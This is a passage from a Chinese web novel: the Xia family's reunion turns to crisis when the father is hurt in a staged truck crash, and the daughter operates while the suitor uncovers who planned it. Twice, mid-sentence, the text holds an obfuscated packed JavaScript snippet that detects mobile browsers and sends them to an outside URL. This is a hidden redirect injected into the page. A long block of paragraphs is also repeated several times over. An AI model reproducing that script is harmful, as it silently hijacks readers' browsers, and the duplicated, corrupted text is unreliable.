他连窦老先生都迁怒进去。 窦老先生听言,当即怒不可遏。 “你这是对我该有的说话态度吗?你竟然说,这是我造成的?! “难道不是吗? “孽障!! 父子二**吵一架,不欢而散。 只是到了晚上,窦老先生突发晕厥,是心脏病导致的。 还好佣人及时发现,才送去医院抢救,捡回一条命。 只是身体非常虚弱,随时都有可能再犯病。 窦部长却是看都没去医院看望,只是抱着窦斯礼的骨灰,跟自己的二婚太太哭成一团。 而沪城这边,通过冯昭阳,当天去到无限立方的人都知道了,他们的命,是夏灼灼救下来的。 一楼那场火,正是她放的。 她察觉到不对劲,又不敢打草惊蛇,就用了这种办法,让他们跑出了大楼,才叫他们捡回一条命。 大家纷纷来到夏家。 不提无限立方的事,只说来做客,看望夏太太。 但每一个带的礼物都非常厚重。 …… 又过了几天。 夏太太找到正在午睡的夏灼灼。 “你再休息一会儿,妈带你去见一个人。 “谁? “你去了就知道了。 夏灼灼没了睡意。 “我不睡了,咱们现在就过去吧? “也好,你洗把脸,我去楼下等你。 夏太太走后,夏灼灼快速梳洗一番下楼了。 夏太太虽然不说是谁,可表情很郑重,所以她已经猜到了大概要去见谁。 她穿了一条略有些正式的衣服,脸上画了点淡妆。 夏管家负责开车。 车子在一个多小时后,开到了湖畔大饭店。 在饭店花园的一个凉亭下,夏灼灼见到了三个人。 司慎行也在其中。 他正跟一个长相很端正的年轻人说话,两个人正在抽烟。 看到夏灼灼过来,司慎行立刻掐灭了自己的烟头。 青年不解,但也跟着这么做了。 而一个容貌略显肃穆的中年男人,正坐在旁边喝茶。 看到夏灼灼过来,中年男人主动站起身。 “灼灼。百闻不如一见。 眼前的女人,一头青丝顺着肩头倾泻而下,肌肤白若霜雪,五官是那种很耐看又很大气的漂亮,叫人一眼惊艳。 夏太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535809|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太当年也是风华绝代,生出来的儿子各个帅气。 女儿的五官更是择优而选,专挑他们夫妻两个的优点继承。 比照片上还要漂亮。 夏灼灼听出了对方的声音。 是党帅。 他们虽然没见过面,但是经常通话。 至于司慎行旁边的青年,应该就是他的儿子,党津渡了。 “党叔叔。 夏灼灼走过去,先跟党帅打了招呼。 党帅哈哈一笑,说:“我毕竟喜欢别人叫我帅叔 叔。” “老不要脸。”党津渡说着,来到夏灼灼面前,伸出手自我介绍道:“灼灼,你好,我叫津渡,‘津渡遥远’的津渡。” 夏灼灼点头。 “渡哥。我记得您,我回来的接风宴上,您来给我送过礼。” 党津渡很惊讶。 “我只是放下礼物就走了,你居然还记得我,你的记忆力真好。” “我也就这么一个优点了。” 司慎行在旁边酸酸地说:“怎么唯独不跟我打招呼?” 夏灼灼轻轻瞪他一眼。 “天天见的人,还要我打招呼?那下次咱们半年后再见,我一定跟你打招呼。” “……” 司慎行干咳一声,不自讨没趣了。 他拉开椅子,扶着夏太太坐下。 讨好不了老婆,那就讨好一下未来丈母娘。 五个人聊了很多,也聊得很开心。 说到最后,党帅说:“现在窦家兵荒马乱,我想,是时候给他们沉重一击,让你爸爸出来了。” 夏灼灼和夏太太的眼睛同时一亮。 夏太太很激动地问:“大概什么时候?” “周六是个吉日,也正好是平安夜,就定在这天吧。” 党帅开口,当然是说哪天就是哪天。 母女俩都很高兴。 夏灼灼跟夏云海因为只见过两次,并没有什么太多的感情基础,不像她跟夏太太。 但夏太太高兴,她也就跟着高兴。 而且,一家团聚,这是所有夏家人都期盼了很久的事。 到了下午,五个人一起吃了一顿饭。 党帅提起了宗域。 “这个人,我不知道秉性,但我听说,他跟你认识?” 党帅问的是夏灼灼。 夏灼灼略有些尴尬。 还是司慎行大大方方帮她介绍。 “是灼灼的前男友,很早以前就认识。这人……人品还可以。” 他几次暗中帮助夏灼灼,司慎行都知道。 虽然不想承认,但这人,比他想象中要好。 只能说,他的未婚妻,眼光的确不差。 党帅点了点头。 能得到司慎行一句“还可以”,那就是这人差不到哪里去了。 吃了晚饭,党帅父子便离开,回到京都去了。 夏太太一直到回到家,手仍旧激动地在发抖。 她的身体在夏灼灼的调理下已经大好。 但是她根基差,仍然不能情绪太过激动。 但夏灼灼不是那种擅长安抚人的人,好在有秋雨在旁边开解,转移夏太太的注意力,夏太太才镇定一些。 等彻底淡定下来,夏太太不好意思地说:“我太丢脸了,让你们笑话了。” 夏灼灼和秋雨同时摇头。 “不,我们很羡慕你们的感情。” 第255章 夏父,车祸 夏太太一手牵住她们一个。 “你们也会跟我一样的。” 夏灼灼点头,她也坚信这一点。 父母的爱情,让她对爱情又有了新的认识。 爱情,不只是转瞬即逝的烟花,如果找到对的人,它就会变成永生花,永远鲜艳,漂亮。 很快到了平安夜前一天。 夏家人,包括司慎行,都在给家里做卫生。 还破天荒叫来两个打扫阿姨。 大家在准备明天迎接夏云海回来。 夏太太的说法,是家里要洗一洗晦气,打扫卫生,房子格局就焕然一新,以后就不会有什么灾祸了。 而司慎行,单纯是来献殷勤的。 他不能因为夏太太喜欢他,就什么力都不出。 以至于到了中午吃饭的时候,坐了满桌子的人。 阿麦和霍刚都来了,夏灼灼便叫了谷仔、田野还有金虎。 夏怀乐得知夏云海明天要回来,也跟剧组告了假。 夏怀征回京都去了,不过也发消息回来,说他明天会赶回家一趟。 夏怀瑾更不必说,新车销量**,市场供不应求,排号都有黄牛了。 买车要找黄牛,这是前所未有的事。 不过他反而闲了下来。 一家人虽然是在搞卫生,但是其乐融融,像是在做集体游戏。 大家都很开心。 夏灼灼在吃完饭之后,接到了杜馨月的电话。 “一会儿出来吃个下午茶呗?”杜馨月说:“我有事要跟你说。” 夏灼灼没有犹豫,直接答应:“好,几点?” “两点?地址我一会儿发你。” “好。” 说定之后,夏灼灼跟司慎行说了这事儿。 司慎行道:“想不到你们能成为朋友。之前第一次在杜家见面,她还想打你。” 夏灼灼耸耸肩。 “都是过去的事儿了。而且多一个敌人,不如多一个朋友。接触久了,就会发现杜馨月这人没什么坏心,只是有点憨直而已。” 当初杜馨月跟夏灼灼抢药材,一是不知道两个人都是为杜老爷子买药材。 二是杜馨月救自己爷爷心切。 后来急赤白脸地骂她,也只是以为她是个骗子,不会医术。 误会解开,两个人自然就没什么仇了。 女孩子跟女孩子之间的友情,本来就来得突然。 可能一起上个厕所就看对眼了。 “那我一点半送你过去,我顺便回公司一趟。” “公司有什么事吗?今天是周末,你还要去公司吗?” 司慎行点头,说:“前不久霍刚去了邻市一趟,那有个项目负责人是司谨言的人,他公开跟我叫板,被刚子直接炒了。这事儿闹得还有点大,公司上下最近有点不**分。” 夏灼灼点头,问他:“这事儿,司董事长是什么反应?” 她已经不叫司董事长为“伯父”了。 司慎行道:“他和稀泥,不过前两天他旁敲侧击问我,如果他打算动脑部手术,能不能让司谨言也回来。他说,怕自己见不到两个儿子最后一面。不过我想,他肯定就是单纯怕我在中间搞事。司谨言回来,我就有桎梏了。” 夏灼灼眼神微暗。 做爹的人,竟然这么防着自己的儿子。 还真是亲爹。 上周她还问司慎行,要不要揭穿假女神医的真面目,现在看来,她多余问这一嘴。 司董事长命中有此一劫,而这劫,是他自己的疑心导致的。 很快到了一点半。 家里的卫生做的差不多了,夏太太和秋雨正在给大家煮梨汤。 秋天喝点梨汤,正好可以润一润嗓子。 夏灼灼说自己要出门一趟,便跟司慎行告别了众人,坐车离开。 很快夏灼灼见到了杜馨月。 杜馨月上身穿着狐狸皮草,看起来像个贵妇。 夏灼灼进咖啡厅的时候,正好看到有个男人在搭讪杜馨月,杜馨月有点不胜其烦,骂了一句什么,男人不悦地黑着脸走了。 “怎么了?”夏灼灼走过去问。 “没啥,烂桃花。” “我看长得还行,不试一试?” “呵呵,他手上戴着戒指呢。” 夏灼灼看过去,果然看到男人手上戴了一枚戒指。 她面露鄙夷。 男人察觉到她的眼神,不自在地出了咖啡厅。 夏灼灼脸上恢复笑容,问:“你就没打算再找一个?你这个年纪,正是谈恋爱的好时候。之前遇到的两个,纯属时运不济,别灰心。” 杜馨月耸肩。 “我对男人现在不感兴趣了。” “那你不会对女人感兴趣吧?” 杜馨月饶有深意看她一眼。 “如果你不介意,我可以对女人感兴趣。” “那还是算了吧!” 两人插科打诨了一阵,夏灼灼问起正事。 “你说有事跟我说,是什么事?” 杜馨月也正色起来,说:“我打算去一趟非洲。” 夏灼灼倏然瞪大眼睛。 “非洲?好端端的,怎么要去那里?那里的太阳可毒了,你回来能被当成非洲本地人。” 杜馨月一摊手:“没办法,我一个女人,公司上下不太服我。这是我爷爷的意思,是让我去非洲的分公司历练。历练出来了,没人再会不服我。” 杜老爷子不会害杜馨月。 夏灼灼知道这件事没得谈了。 她有些可惜。 她的个性,很难能交上朋友,因为她不笑的时候,看着就有点傲,让人敬而远之。 好不容易交上杜馨月这个朋友,她却要走了。 “去多久?” “最多不超过三个月。” 听说只去三个月,夏灼灼心情好转。 她突然想起另一件事。 “我四哥也在非洲,你去了那边如果没有聊得来的朋友,就去找他。我跟他说一声,他在那边那么久,肯定比你熟悉,遇到什么问题,也可以去找他。” 夏灼灼虽然没见过夏怀安,但夏太太时常跟他视频,有时候夏灼灼在旁边,他们两个也会聊几句。 夏怀安跟夏怀乐是双胞胎,两个人几乎长得一模一样,只是夏怀安因为在非洲的关系,皮肤黑很多。 但有夏怀乐在前,夏灼灼觉得夏怀安非常亲切,哪怕他们没真正见过面。 而且,能去非洲援医的人,必定是个很善良的人。 他肯定得意帮助杜馨月。 杜馨月欣然答应。 “好啊。你哥哥就是我哥哥,他遇到什么问题,也可以来找我。” 说好之后,夏灼灼当即把夏怀安的联系方式给了杜馨月。 回去之后,她还给夏怀安打了个视频电话说明杜馨月的事。 夏怀安道:“等她出发,你给我发她落地的时候,我去接她。” “好,谢谢四哥。” “不用谢,小七。”夏怀安笑得露出一口白牙。 大概是因为皮肤黑,牙显得特别白,跟季恒的烤瓷牙有的一拼。 说定之后,夏灼灼一颗心放回到了肚子里,安安心心等着夏云海明天回家。 在大家的期待中,平安夜这天终于到来了。 所有人齐聚在看守所两公里外的一家火锅店。 按照沪城这边的说法,是不能亲自去看守所接,也不能在家里等,要在外面接,而且还 要吃点辣的和豆腐,这样不会把晦气带回家,往后家人和本人都会一帆风顺。 夏太太不想管这些,但夏管家也这么说,她便照做了。 于是跟夏云海约定好,在火锅店等他。 然而左等右等,却过了半个小时,还不见夏云海来。 按说,看守所的人不敢为难他,会以最快速度放他出来。 夏云海归心似箭,想念自己的太太,也不会在路上耽误。 夏灼灼有种不太好的预感。 司慎行站起身道:“我去接人。” 夏太太拦住他。 “别,老一辈的说法,家里人不能去接的。” 司慎行说:“我还不算家里人,去接伯父没关系的。” 夏灼灼眼皮直跳。 她有种不太好的预感,便跟着司慎行说:“妈,我还没嫁给他,他可以去的。” 夏太太这才点头。 然而司慎行还没出门,夏太太的电话响了起来。 她接通,片刻后,脸色突然大变。 所有人都看向她。 夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 司慎行扶住她,说:“让他们来吧。你的状况不适合进手术室。” 要吃点辣的和豆腐,这样不会把晦气带回家,往后家人和本人都会一帆风顺。 夏太太不想管这些,但夏管家也这么说,她便照做了。 于是跟夏云海约定好,在火锅店等他。 然而左等右等,却过了半个小时,还不见夏云海来。 按说,看守所的人不敢为难他,会以最快速度放他出来。 夏云海归心似箭,想念自己的太太,也不会在路上耽误。 夏灼灼有种不太好的预感。 司慎行站起身道:“我去接人。” 夏太太拦住他。 “别,老一辈的说法,家里人不能去接的。” 司慎行说:“我还不算家里人,去接伯父没关系的。” 夏灼灼眼皮直跳。 她有种不太好的预感,便跟着司慎行说:“妈,我还没嫁给他,他可以去的。” 夏太太这才点头。 然而司慎行还没出门,夏太太的电话响了起来。 她接通,片刻后,脸色突然大变。 所有人都看向她。 夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 司慎行扶住她,说:“让他们来吧。你的状况不适合进手术室。” 要吃点辣的和豆腐,这样不会把晦气带回家,往后家人和本人都会一帆风顺。 夏太太不想管这些,但夏管家也这么说,她便照做了。 于是跟夏云海约定好,在火锅店等他。 然而左等右等,却过了半个小时,还不见夏云海来。 按说,看守所的人不敢为难他,会以最快速度放他出来。 夏云海归心似箭,想念自己的太太,也不会在路上耽误。 夏灼灼有种不太好的预感。 司慎行站起身道:“我去接人。” 夏太太拦住他。 “别,老一辈的说法,家里人不能去接的。” 司慎行说:“我还不算家里人,去接伯父没关系的。” 夏灼灼眼皮直跳。 她有种不太好的预感,便跟着司慎行说:“妈,我还没嫁给他,他可以去的。” 夏太太这才点头。 然而司慎行还没出门,夏太太的电话响了起来。 她接通,片刻后,脸色突然大变。 所有人都看向她。 夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 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夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 司慎行扶住她,说:“让他们来吧。你的状况不适合进手术室。” 要吃点辣的和豆腐,这样不会把晦气带回家,往后家人和本人都会一帆风顺。 夏太太不想管这些,但夏管家也这么说,她便照做了。 于是跟夏云海约定好,在火锅店等他。 然而左等右等,却过了半个小时,还不见夏云海来。 按说,看守所的人不敢为难他,会以最快速度放他出来。 夏云海归心似箭,想念自己的太太,也不会在路上耽误。 夏灼灼有种不太好的预感。 司慎行站起身道:“我去接人。” 夏太太拦住他。 “别,老一辈的说法,家里人不能去接的。” 司慎行说:“我还不算家里人,去接伯父没关系的。” 夏灼灼眼皮直跳。 她有种不太好的预感,便跟着司慎行说:“妈,我还没嫁给他,他可以去的。” 夏太太这才点头。 然而司慎行还没出门,夏太太的电话响了起来。 她接通,片刻后,脸色突然大变。 所有人都看向她。 夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 司慎行扶住她,说:“让他们来吧。你的状况不适合进手术室。” 要吃点辣的和豆腐,这样不会把晦气带回家,往后家人和本人都会一帆风顺。 夏太太不想管这些,但夏管家也这么说,她便照做了。 于是跟夏云海约定好,在火锅店等他。 然而左等右等,却过了半个小时,还不见夏云海来。 按说,看守所的人不敢为难他,会以最快速度放他出来。 夏云海归心似箭,想念自己的太太,也不会在路上耽误。 夏灼灼有种不太好的预感。 司慎行站起身道:“我去接人。” 夏太太拦住他。 “别,老一辈的说法,家里人不能去接的。” 司慎行说:“我还不算家里人,去接伯父没关系的。” 夏灼灼眼皮直跳。 她有种不太好的预感,便跟着司慎行说:“妈,我还没嫁给他,他可以去的。” 夏太太这才点头。 然而司慎行还没出门,夏太太的电话响了起来。 她接通,片刻后,脸色突然大变。 所有人都看向她。 夏太太张了张嘴,却什么话都说不出来,刚说出一个“他”字,突然呕出一口血。 夏灼灼连忙扶住人,拿出随身的药包,为她针灸。 司慎行拿过夏太太的电话,听完之后,他问:“哪家医院?好,我们立刻过去。” 说完,他对众人说:“是车祸。一辆大货车失控,撞向了伯父的车子,现在在送往医院抢救。” 夏灼灼面色一白。 她快速为夏太太施完针,随后吩咐秋雨。 “你帮我看着我妈,我去一趟医院。” 秋雨跟她学过医术,当即点头。 “这里交给我,你们去吧。” 司慎行负责开车,夏灼灼坐在副驾,手指不停搅动。 本来是大喜的日子,却没想到发生了这样的事情。 她的眼眶不禁泛红。 “伯父不会有事的。”司慎行说:“他吉人有天相。” 夏灼灼点头,却心乱如麻。 车子一路飞驰,很快到了医院。 夏云海所在的医院,正好是夏灼灼签了外聘医生的那家。 他们赶到的时候,院长已经在等候了。 “夏先生情况有点危急,伤到了脑子,已经送往手术室了。夏小姐,您要亲自操刀吗?” 夏灼灼在那一瞬间有点站不稳。 院长都说“有点危急”了,那必定情况不好。 尤其是受伤的地方,还是头部。 司慎行扶住她,说:“让他们来吧。你的状况不适合进手术室。” 第256章 沉痛的理智 夏灼灼沉默两秒,说:“不,我来。 司慎行还想劝她,夏灼灼说:“我对我的医术有自信,而且,我分得清状况。我知道,我进去会更有利,我也会控制好我的情绪,不会分心。 司慎行看她眼神坚决,便也不再劝她了。 他知道,她虽然惊怕伤心,但是,她能控制好自己的情绪。 他只是担心她。 怕有不好的结果,夏灼灼会留下一辈子阴影。 她医术过人,却治不好自己的父亲的话,该有多崩溃? 但夏灼灼既然做出了选择,他便坚定站在她那边。 夏灼灼很快换了衣服,消毒完毕,进入手术室。 一进去,看到躺在手术台上的夏云海,她的鼻尖当即泛上一阵酸意。 因为夏云海身上穿着的,是上次他们看望他时,送过来的衣服。 那衣服虽然是个夹克,但在十二月份显得十分单薄。 他是特意穿上的。 夏灼灼闭了闭眼,告诉自己这不是情绪上头的时候,她要冷静下来。 她用力咬住了唇。 唇瓣上一阵疼痛,有淡淡血腥味。 疼痛感让她彻底冷静下来。 她走到手术台,快速又仔细地翻阅夏云海的检查报告。 坏消息是,的确伤到了头部。 好消息是,她能治疗! 夏灼灼压下所有的情绪,像一台机器似的,开始有条不紊地进行手术。 而外面,司慎行也没闲着。 他不会医术,帮不上夏灼灼什么忙,但他可以调查那起车祸。 车祸来的太突然,他怀疑是人为。 司慎行仔细询问了司机,又带着阿麦找到交警队。 丁警官也赶过来了。 同时,方局也感到了。 有他们帮忙,司慎行很快发现不对劲。 那辆货车刹车片的确出了问题,但那辆货车分明有辅助制动系统。 当时的车速,司机完全可以防止车祸的发生。 司慎行叫了霍刚来,很快将司机“请 按说,司慎行不能这么带着人走,但方局都睁一只眼闭一只眼,其他人自然不好说什么。 人由霍刚带走。 司慎行清楚,以霍刚的手段,不怕问不出点什么。 他没有回医院,而是去到了火锅店。 夏太太像是一下子没了精神头,整张脸都惨白,像回到了夏灼灼为她调理之前 。 她生了太多孩子,本来就元气不足,加上珍爱的小女儿被拐,她伤心欲绝,身体根基非常差。 是通过夏灼灼的医术调理,这才恢复了一些。 但现在,好像一切又回到从前了。 所以夏家人不敢随便挪动她,只让她在火锅店的包厢里躺着。 火锅店早已经被包场,此刻只有夏家人在。 夏怀征提议送母亲去医院,另外几个儿子说,先让她缓一缓,再挪动。 正在这时,司慎行赶了回来。 他开门见山地说:“我离开医院之前,灼灼让护士给我递了消息出来。她说,伯父情况虽然不好,但她能治,让您放一百个心。 夏太太的眼睛,重新有了亮光。 她激动地坐起来,颤抖着手抓住司慎行的衣摆。 “你是说真的?灼灼真的这么说?你不是在骗我? 司慎行点头。 “我胆子再大,也不敢拿这种事骗您。 旁边夏怀征也劝说道:“妈,小七的医术您是清楚的,她连我的腿都能治好,爸车祸受伤,她肯定也有办法。 冯太太的眼睛闪了闪,是泪珠反射出光线。 的确。 长子的腿,当初她带着他看了无数个名医,都说治不了。 可灼灼却治好了他。 这足以说明,她的女儿艺术超群。 她定然可以救自己的父亲的! 想到这,她立刻站起身,坚决地说:“现在送我去医院。 冯太太的确因为夏云海车祸送医很是颓废,但她不是不能走。 她只是不敢去医院。 她怕去了医院,听到不好的消息。 她接受不了。 她连夏云海关在看守所里都日夜担心,何况是车祸重伤? 现在听到司慎行这么说,她顿时有了勇气,浑身上下的力气仿佛一瞬间就回来了。 人心里有了盼头,脊背都挺得直一些。 夏太太仿佛又恢复了光华。 司慎行看得出来,夏太太跟夏先生,的确是伉俪情深。 如果夏云海有个什么三长两短,夏太太恐怕……不太好。 他点头,说:“我带您去。 夏家几个兄弟连忙去备车。 司慎行没有跟夏太太同一辆,而是特意叫了夏怀征和夏怀呈同坐一辆车。 夏家几个兄弟里,这两个兄弟是最沉稳的。 尤其是夏怀征,经历一番 风雨,又去了京都历练,看着气质,倒是跟他有点像了。 而夏怀呈从商,商界摸爬滚打,也是很稳重谨慎。 他仔细跟他们说明了车祸的疑点。 夏怀征说:“我在火锅店也没闲着,用**调取了现场监控。从监控上,我也觉得司机可以避免这场车祸。” 夏怀呈道:“司机现在在哪?” “在我家。”司慎行道。 两人明显诧异。 司慎行说:“刚子你们见过的,他审讯人很有一套。阿麦我也派去查司机的家庭情况了,相信很快就会有答案。” 两人郑重道谢。 很快一行人到了医院。 手术室门口依旧显示“手术中”三个字。 而此刻,距离手术开始已经有一个半小时了。 夏太太到了手术室门口,又开始落泪。 但这次她没有叫众人担心,偷偷快速擦去了自己的眼泪。 她知道,自己帮不上什么忙,那就不要帮倒忙好了。 她找了个上卫生间的借口,自己偷偷哭了一场。 而后洗了脸,再出来的时候,看着神色平静。 她打了个电话给党帅。 夏云海出狱,本来是要向党帅打电话道谢的,现在耽搁了快两个小时了。 电话接通。 党帅那边明显还不知情况,让他们夫妻好好团聚,不用管他。 夏太太轻轻吸了一口气,跟他说起了夏云海现在的情况。 党帅大惊。 “怎么会这样?” 夏太太道:“我猜测,或许是人为。” “我一定帮你们查!” “不……”夏太太道:“党哥,我的猜测不一定准确。我跟你说这些,只是想告诉你,不管是不是人为,我都希望,这会是一场人为的车祸。您不用浪费时间到查真相上,只需要推波助澜……查清真相,我们会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15539428|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去做。” 党帅听懂了她的意思。 “你是说,希望我栽赃到窦家身上?” “没错。”夏太太说:“云海现在生死未卜……我不希望,他白吃这一场苦。” 既然已经吃苦了,那就……尽量得到一些什么。 “好,我明白了,我会按照你说的做。” 两方说定,夏太太挂断了电话,回到了卫生间。 秋雨见夏太太许久没有回来,担心出事,正要去找夏太太,正好看到夏太太回来了。 “伯母。”秋雨扶住她,说: “下次再去上卫生间,我陪您去。” 夏太太点头,没有拒绝。 刚得知消息的时候,她的确崩溃。 可现在,她的脑子已经清晰起来。 她要相信灼灼的医术。 哪怕…… 哪怕人真的救不回来,她也要支撑下去,为党家争取到最有利的局面。 这是夏云海一直在做的事情。 如果他**,那么,就让她替他继续做下去。 这样丈夫就算在天有灵,也该安息了。 只沉浸在悲痛中,只会让在意她的人担心。 夏太太向来拎的清。 她又找司慎行单独说话,聊起了自己跟党帅的计划。 司慎行很是意外。 他以为夏太太现在已经考虑不到这些了,却没想到,她比他想象中要更强大、冷静。 仔细想想,夏灼灼的亲生母亲,能差到哪里去呢? 她必定也是个聪慧的女人。 “我会帮党帅将消息散出去。”司慎行说。 夏太太郑重道谢。 司慎行说不用。 “我们是一家人,夏家的事情,就是我的事情。” 手术还在继续。 在手术开始第四个小时的时候,司慎行接到了霍刚的电话。 他叫上夏怀征和夏太太单独到一个空病房说话。 “已经查到幕后黑手人了。” “可是窦部长?”夏怀征问。 他一直怀疑的,就是窦部长。 司慎行摇摇头。 “很可惜,不是他。” “那是?” 司慎行突然后退两步,朝夏太太跪了下去。 夏太太大吃一惊,连忙扶住他。 “这是做什么?快起来!” 司慎行却没起。 “这件事,都怪我。” 既然错愕看着他。 还是夏怀呈把他强行拉起来。 “有什么话,咱们站着说。” 司慎行眼底满是愧疚。 他说起了前因后果。 车祸的幕后主使不是窦部长,而是凌悠然。 凌父“沉冤得雪”放出来后,凌悠然的心思又活络起来。 她对夏灼灼有很强的恨意。 得知夏云海今天出狱,特意安排了这一场车祸。 要的,就是让夏灼灼在最开心的时候,遭受巨大的打击。 司慎行道:“我应该继续盯着她,却放松了警惕。如果当初我直接不让她回到京都,伯父也不会遇到这种危险。” 夏云海能救回来,那么万事大吉。 如果救不回来,他会因此愧疚一辈子。 或许他跟夏灼灼之间也会因为夏云海出现裂痕,毕竟凌悠然是因为他,才对夏灼灼生出敌意,否则她们之间根本不会有交集。 第257章 将计就计 若真到了这一步,凌悠然的计划,就成功了一半。 这女人心狠手辣,他却太不把她当回事。 只用凌父把凌悠然引走,就以为不会对夏灼灼产生任何的威胁。 却没想到,凌悠然这一次没针对夏灼灼,却对夏云海布了局。 今天是平安夜,可夏云海现在还在手术室,生死未卜。 一想到这都是他轻敌疏忽造成的,他就恨不得给自己一拳。 “都是我的错!”司慎行说。 夏太太却在这时,抓住了司慎行的胳膊。 